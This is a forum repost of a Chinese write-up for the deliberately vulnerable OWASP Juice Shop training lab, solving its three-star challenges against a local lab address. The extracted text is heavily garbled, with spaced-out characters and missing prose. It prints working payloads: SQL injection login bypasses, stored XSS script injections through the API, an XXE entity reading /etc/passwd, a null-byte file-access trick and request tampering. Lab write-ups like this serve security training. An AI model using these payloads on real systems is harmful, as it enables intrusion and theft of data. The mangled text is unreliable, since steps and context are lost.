[27374] 2018-12-21_OWASPJuiceShop靶场三星难度writeup

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-19
2018-12-21_OWASPJuiceShop靶场三星难度writeup O W A S P   J u i c e   S h o p w r i t e u p   n e v e r s e c   N e v e r S e c   2 0 1 8 - 1 2 - 2 1 w r i t e u p O W A S P   J u i c e   s h o p   V 7 . 0 . 2 B l o c k c h a i n   T i e r   1   F o r g e d   F e e d b a c k   F o r g o t t e n   S a l e s   B a c k u p   L o g i n   B e n d e r   B e n d e r L o g i n   J i m   J i m P a y b a c k   T i m e   P r o d u c t   T a m p e r i n g   R e s e t   J i m ' s   P a s s w o r d   J i m U p l o a d   S i z e   &   U p l o a d   T y p e X S S   T i e r   2   X S S X S S   T i e r   3   X S S X X E   T i e r   1   X X E w p w p B l o c k c h a i n   T i e r   1   L e a r n   a b o u t   t h e   T o k e n   S a l e   b e f o r e   i t s   o f f i c i a l   a n n o u n c e m e n t .   T o k e n h i n t   h t t p : / / 1 9 2 . 1 6 8 . 2 0 9 . 1 4 6 : 3 0 0 1 / d i s t / j u i c e - s h o p . m i n . j s   j s 访 I C O 西 t o k e n T o k e n S a l e
F o r g e d   F e e d b a c k   P o s t   s o m e   f e e d b a c k   i n   a n o t h e r   u s e r s   n a m e .   h t t p : / / 1 9 2 . 1 6 8 . 2 0 9 . 1 4 6 : 3 0 0 1 / # / c o n t a c t F o r g o t t e n   S a l e s   B a c k u p   A c c e s s   a   s a l e s m a n ' s   f o r g o t t e n   b a c k u p   f i l e .   f t p   m d     p d f   使 % 0 0 L o g i n   B e n d e r   B e n d e r L o g   i n   w i t h   B e n d e r ' s   u s e r   a c c o u n t . S Q L p a y l o a d   l i m i t L o g i n   J i m   J i m L o g   i n   w i t h   J i m ' s   u s e r   a c c o u n t . P a y b a c k   T i m e   P l a c e   a n   o r d e r   t h a t   m a k e s   y o u   r i c h .   P O S T U s e r I d C o n f i d e n t i a l D o c u m e n t e m a i l " : " '   o r   1 = 1   l i m i t   5 , 1   - - " , " p a s s w o r d " : " 1 2 3 { " P r o d u c t I d " : 8 , " B a s k e t I d " : " 1 0 " , " q u a n t i t y " : 1 }
q u a n t i t y P r o d u c t   T a m p e r i n g   C h a n g e   t h e   h r e f   o f   t h e   l i n k   w i t h i n   t h e   O W A S P   S S L   A d v a n c e d   F o r e n s i c   T o o l   ( O - S a f t )   p r o d u c t   d e s c r i p t i o n   i n t o   h t t p : / / k i m m i n i c h . d e .   o w a s p   s s l o - s a f t h r e f h t t p : / / k i m m i n i c h . d e 访 C h r o m e X H R A P I h t t p : / / 1 9 2 . 1 6 8 . 2 0 9 . 1 4 6 : 3 0 0 1 / a p i / P r o d u c t s / 1 ? d = F r i % 2 0 A p r % 2 0 2 0 % 2 0 2 0 1 8   d A P I 使 P U T D E L E T E H T T P P U T 使   R E S T c l i e n t   H T T P   j s o n   使 p a y l o a d { " d e s c r i p t i o n " : " T E S T " } { " d a t a " : { " d e s c r i p t i o n " : " T E S T " } } { " d e s c r i p t i o n " : " < a   h r e f = " h t t p : / / k i m m i n i c h . d e " > < / a > " }
R e s e t   J i m ' s   P a s s w o r d   J i m R e s e t   J i m ' s   p a s s w o r d   v i a   t h e   F o r g o t   P a s s w o r d   m e c h a n i s m   w i t h   t h e   o r i g i n a l   a n s w e r   t o   h i s   s e c u r i t y   q u e s t i o n .   J i m S Q L   j i m @ j u i c e - s h . o p J I M   J a m e s   T .   K i r k   J I M   J i m   P a r s o n s   (   S h e l d o n   2 3 3 ) 1 .     J a m e s _ T . _ K i r k   W i k i h t t p s : / / e n . w i k i p e d i a . o r g / w i k i / J a m e s _ T . _ K i r k 2 .   J i m B r o t h e r   G e o r g e   S a m u e l   K i r k 3 .     S a m u e l 4 .   U p l o a d   S i z e   &   U p l o a d   T y p e U p l o a d   a   f i l e   l a r g e r   t h a n   1 0 0   k B . U p l o a d   a   f i l e   t h a t   h a s   n o   . p d f   e x t e n s i o n .   1 0 0 k b p d f X M L X H R   h t t p : / / 1 9 2 . 1 6 8 . 2 0 9 . 1 4 6 : 3 0 0 1 / f i l e - u p l o a d   b u r p b u r p p o s t X S S   T i e r   2   X S S P e r f o r m   a   p e r s i s t e d   X S S   a t t a c k   w i t h   b y p a s s i n g   a   c l i e n t - s i d e   s e c u r i t y   m e c h a n i s m .     X S S x s s x s s x s s   h t t p : / / 1 9 2 . 1 6 8 . 2 0 9 . 1 4 6 : 3 0 0 1 / # / a d m i n i s t r a t i o n   x s s X S S   T i e r   3   X S S P e r f o r m   a   p e r s i s t e d   X S S   a t t a c k   w i t h   w i t h o u t   u s i n g   t h e   f r o n t e n d   a p p l i c a t i o n   a t   a l l .     X S S 使 A P I h t t p : / / 1 9 2 . 1 6 8 . 2 0 9 . 1 4 6 : 3 0 0 1 / a p i / P r o d u c t s / 9 x s s 使   p a y l o a d x s s   a p i / P r o d u c t s   P O S T P O S T X S S   A u t h o r i z a t i o n   4 0 1 { " e m a i l " : " '   o r   1 = 1   l i m i t   1 , 1   - - " , " p a s s w o r d " : " 1 2 3 " } Y o u r e l d e s t   s i b l i n g s   m i d d l e   n a m e ? % 2 5 0 0 p h p { " e m a i l " : " < s c r i p t > a l e r t ( " x s s 3 " ) < / s c r i p t > " , " p a s s w o r d " : " 1 2 3 1 2 3 " , " p a s s w o r d R e p e a t " : " 1 2 3 1 2 3 " , " s e c u r i t y Q u e s t i o n " : { " i d " : 1 , " q u e s t i o n " : " Y o u r   e l d e s t   s i b l i n g s   m i d d l e   n a m e ? < s c r i p t > a l e r t ( / x s s / ) < s c r i p t > " { " d e s c r i p t i o n " : " < s c r i p t > a l e r t ( " x s s " ) < / s c r i p t > " }
X X E   T i e r   1   X X E R e t r i e v e   t h e   c o n t e n t   o f   C : W i n d o w s s y s t e m . i n i   o r   / e t c / p a s s w d   f r o m   t h e   s e r v e r .   X X E / e t c / p a s s w d x m l u p d a t e :   使 d o c k e r X X E x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? >   < ! E N T I T Y   x x e   S Y S T E M   " f i l e : / / / e t c / p a s s w d "   > ] > < r o o t > < n a m e > & x x e ; < / n a m e > < / r o o t >
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则